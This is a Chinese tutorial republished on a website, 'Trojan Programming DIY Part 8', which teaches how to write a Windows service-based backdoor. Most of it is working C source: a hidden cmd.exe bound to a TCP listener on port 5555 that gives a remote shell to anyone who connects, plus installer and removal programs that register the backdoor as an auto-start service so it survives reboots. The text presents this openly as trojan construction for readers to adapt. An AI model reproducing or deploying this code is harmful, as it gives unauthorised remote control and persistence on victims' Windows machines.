木马编程DIY第8篇服务启动技术

来源:互联网 发布:php 数组相加和合并 编辑:程序博客网 时间:2024/04/29 07:40
木马编程DIY第8篇服务启动技术

文/图 冷风


随意打开一个木马的服务生成端,你都能发现里面有一种启动方式叫“服务启动”,也就是说这个技术以经是大众化的了,但是你写过这样的
程序吗?如果写过的话,你就可以泡杯茶先休息一下,如果还不是太了解的话,那就一块来学习一下



通常编写一个服务需要两个程序,一个是实现功能的Service程序,一个是用于对Service程序进行控制的控制程序。这里需要注意的是实现
Service功能的程序与一般的程序是有区别的,其区别并不仅仅在于是不是有GUI窗体,在其格式上也有着不同,下面我们先写一个CmdShell
后门的Service程序。




对于Service程序来说,它一般又由以下四部分组成:main(),ServiceMain()和Handler()当然还有我们的功能实现函数比如MyWork()
它们之间的关系,用一个简单的图示就可以了然于胸了如图示1,其服务程序的基本流程就是由main()调用ServiceMain()而由ServiceMain()

调用Handler()和执行功能函数MyWork()到现在为止,你以经大体了解了服务程序的流程,按上面的流程一步一步来实现这个后门程序。
 


1.程序的入口main()函数

服务程序的入口与普通程序一样也是从main()开始,但不同的是服务程序的main极为简单,因为它只负责创建分派表并启动控制分派机,其代码如下:

void main()
{
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "Name";//线程名字
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;//线程入口地址
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;//最后一个必须为NULL
    StartServiceCtrlDispatcher(ServiceTable);// 启动服务的控制分派机线程
}

main()是Service程序的主线程,当servie control manager开始一个Service进程时,它总是等待这个Service程序去调用StartServiceCtrlDispatcher()函数。
当执行服务时main()时将会调用ServiceMain函数,当ServiceMain执行完毕或者说发生错误时StartServiceCtrlDispatcher函数返回,然后主进程终止。




2. 服务的真正入口ServiceMain()

ServiceMain()是Service程序的真正入口点,它主要完成以下功能,首先注册一个Handler去处理控制程序或控制面板,Service的控制要求,比如 启动,停止,暂停
重起等,其次就是实现我们的功能操作,其实现代码如下:

VOID WINAPI ServiceMain( DWORD dwArgc, LPTSTR *lpszArgv )
{
    DWORD   status = 0;
    DWORD   specificError = 0xfffffff;
    ServiceStatus.dwServiceType        = SERVICE_WIN32;
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE;
    ServiceStatus.dwWin32ExitCode      = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint         = 0;
    ServiceStatus.dwWaitHint           = 0;
    //调用RegisterServiceCtrlHandler()注册一个ServiceHandler函数用来处理程序对Service的控制要求
    hStatus = RegisterServiceCtrlHandler("ServiceName",(LPHANDLER_FUNCTION)ServiceHandler);
    if (hStatus==0)
        return;
 
    // Handle error condition
    status = GetLastError();
    if (status!=NO_ERROR)
    {
        ServiceStatus.dwCurrentState       = SERVICE_STOPPED;
        ServiceStatus.dwCheckPoint         = 0;
        ServiceStatus.dwWaitHint           = 0;
        ServiceStatus.dwWin32ExitCode      = status;
        ServiceStatus.dwServiceSpecificExitCode = specificError;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }
 
    // Initialization complete - report running status
    ServiceStatus.dwCurrentState       = SERVICE_RUNNING;
    ServiceStatus.dwCheckPoint         = 0;
    ServiceStatus.dwWaitHint           = 0; 
    SetServiceStatus(hStatus, &ServiceStatus);

  //启动自己的工作线程
   HANDLE hThread=CreateThread(NULL,0,mainfun,NULL,0,NULL);
   if(hThread==NULL)
       return;
}
在ServiceMain中通过RegisterServiceCtrlHandler注册一个ServiceHandler函数用来处理程序对Service的控制要求其ServiceHandler函数的实现代码如下:




3.ServiceHandler()函数

当你打开服务管理器,启动或者停止一个服务的时候,对你的操作进行响应的就是ServiceHandler()函数,它会判断你的操作然后做出响应其实现代码如下:

VOID WINAPI ServiceHandler(DWORD fdwControl)
{
    switch(fdwControl)
    {
    case SERVICE_CONTROL_PAUSE:
        ServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
    case SERVICE_CONTROL_CONTINUE:
        ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
    case SERVICE_CONTROL_STOP:
    case SERVICE_CONTROL_SHUTDOWN:
        ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCheckPoint    = 0;
        ServiceStatus.dwWaitHint      = 0;
        SetServiceStatus(hStatus,&ServiceStatus);
        return ;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    default:
        break;
    }
    SetServiceStatus(hStatus,&ServiceStatus);//设置状态
    return ;
}
到现在,服务的主要三个函数就算完工了,下面就是我们实现CmdShell后的代码了



4.功能实现函数

这是一个简单的双管道的CmdShell服务端,运行后可以使用Telnet ip 5555进行连接,成功后会得到一个SHELL
其实现代码如下:

DWORD WINAPI mainfun(LPVOID lpParam)
{
      WSADATA wsadata;
    SOCKET server;
    SOCKET client;
    SOCKADDR_IN serveraddr;
    SOCKADDR_IN clientaddr;
    int port=5555;
    WORD ver=MAKEWORD(2,2);                            //判断winsock版本
    WSAStartup(ver,&wsadata);                        //初始SOCKET
    server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    serveraddr.sin_family=AF_INET;
    serveraddr.sin_port=htons(port);
    serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
    bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
    listen(server,5);
    int len=sizeof(clientaddr);
    client=accept(server,(sockaddr *)&clientaddr,&len);
    HANDLE               hWritePipe,hReadPipe,hWriteShell,hReadShell;
    SECURITY_ATTRIBUTES  saPipe;
    STARTUPINFO          lpStartupInfo;
    PROCESS_INFORMATION  lpProcessInfo;
    char szBuffer[65535];
    DWORD dwBufferRead;
    int ret;
    saPipe.nLength              = sizeof(saPipe);
    saPipe.bInheritHandle       = TRUE;
    saPipe.lpSecurityDescriptor = NULL;
    //create read and write pipe
    CreatePipe(&hReadPipe, &hReadShell, &saPipe, 0);
    CreatePipe(&hWriteShell, &hWritePipe, &saPipe, 0);
    GetStartupInfo(&lpStartupInfo);
    lpStartupInfo.cb           = sizeof(lpStartupInfo);
    lpStartupInfo.dwFlags      = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    lpStartupInfo.hStdInput    = hWriteShell;
    lpStartupInfo.hStdOutput   = hReadShell;
    lpStartupInfo.hStdError    = hReadShell;
    lpStartupInfo.wShowWindow  = SW_HIDE;
    lpStartupInfo.lpDesktop = "WinSta0//Default";
    char cmdline[MAX_PATH];
    GetSystemDirectory(cmdline,MAX_PATH);
    strcat(cmdline,"//cmd.exe");
    ret = CreateProcess(cmdline, NULL, NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
    while(1)
    {
        ZeroMemory(szBuffer, sizeof(szBuffer));
        PeekNamedPipe(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL,NULL);
        if(dwBufferRead != 0)
        {
            ret = ReadFile(hReadPipe, szBuffer, sizeof(szBuffer), &dwBufferRead,NULL);
            if(ret)
            {
                printf("The ReadFile Buffer is %s:/n",szBuffer);
                EmptyPipe(hReadPipe);
            }
        } 
        else
        {
            ZeroMemory(szBuffer, sizeof(szBuffer));
            ret = recv(client,szBuffer,sizeof(szBuffer),0);

            if(ret == SOCKET_ERROR)
            {
                    printf("SOCKET_ERROR/n");
                break;
            }
            if(ret >0)
            {
                WriteFile(hWritePipe, szBuffer, ret, &dwBufferRead, 0);
            }
        }
        Sleep(100);
    }
    WriteFile(hWritePipe, "exit/r/n", (DWORD)strlen("exit/r/n"), &dwBufferRead, 0);   
    return 0;
}

void EmptyPipe(HANDLE hReadPipe1)
{
    BOOL ret;
    DWORD bytesRead;
    char *buffer=new char [1024];
    while(true)
    {
     memset(buffer,0,1024);
     ret=PeekNamedPipe(hReadPipe1,buffer,1024,&bytesRead,0,0);
     if (bytesRead==0||!ret)
    {
         delete buffer;
         return;
     }
     ReadFile(hReadPipe1,buffer,bytesRead,&bytesRead,0);
    }
}
到现在为止服务程序就完成了,下面分别写两个小程序用来安装和删除服务.



5.安装服务程序

#include <windows.h>
#include <winsvc.h>
#include <stdio.h>
main()
{
    char name[100];
    char info[200];
    char path[300];
    printf("请输入服务名/n/n");
    scanf ("%s",&name);
    printf("请输入服务描述/n/n");
    scanf ("%s",&info);
    printf("请输入程序路径/n/n");
    scanf ("%s",&path);
    SC_HANDLE manager=NULL;
    SC_HANDLE service=NULL;
    if((manager=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
    {
        printf("OpenSCManager Error");
    }
    service=CreateService(
            manager,name,info,
            SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
            SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
            path, 0, 0, 0, 0, 0 );
    if(service)
    printf("服务创建成功/n/n");
    else
    printf("服务创建失败/n/n");
    CloseServiceHandle(service);
    CloseServiceHandle(manager);
}

6.删除服务程序

#include <windows.h>
#include <winsvc.h>
#include <stdio.h>
void main()
{
    char name[100];
    SC_HANDLE scm;
        SC_HANDLE service;
    SERVICE_STATUS status;
    printf("请输入要删除的服务名/n/n");
    scanf ("%s",&name);

    if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
    {
        printf("OpenSCManager Error/n");
    }
    service=OpenService(scm,name,SERVICE_ALL_ACCESS|DELETE);
    if (!service)
    {
        printf("OpenService error!/n");
        return;
    }
        BOOL isSuccess=QueryServiceStatus(service,&status);
    if (!isSuccess)
    {
        printf("QueryServiceStatus error!/n");
        return;
    }
       if ( status.dwCurrentState!=SERVICE_STOPPED )
    {
        isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
        if (!isSuccess )
        printf("Stop Service error!/n");
        Sleep( 500 );
    }
    isSuccess=DeleteService(service);
    if (!isSuccess)
         printf("删除服务失败!/n");
    else
         printf("删除服务成功!/n");
    CloseServiceHandle(service );
    CloseServiceHandle(scm);
}

关于创建与删除服务这里并没有做详细的介绍,如果你需要的话可以参考07年3月份的杂志,编程栏目《木马编程DIY之系统服务》一文,现在用安装程序把服务
装好,重起你的电脑后,就可以用 Telnet 127.0.0.1 5555来连接执行命令了,如果你打算编写服务程序的话就直接改源代码的工作线程部分好了,相信会方便
不少

原创粉丝点击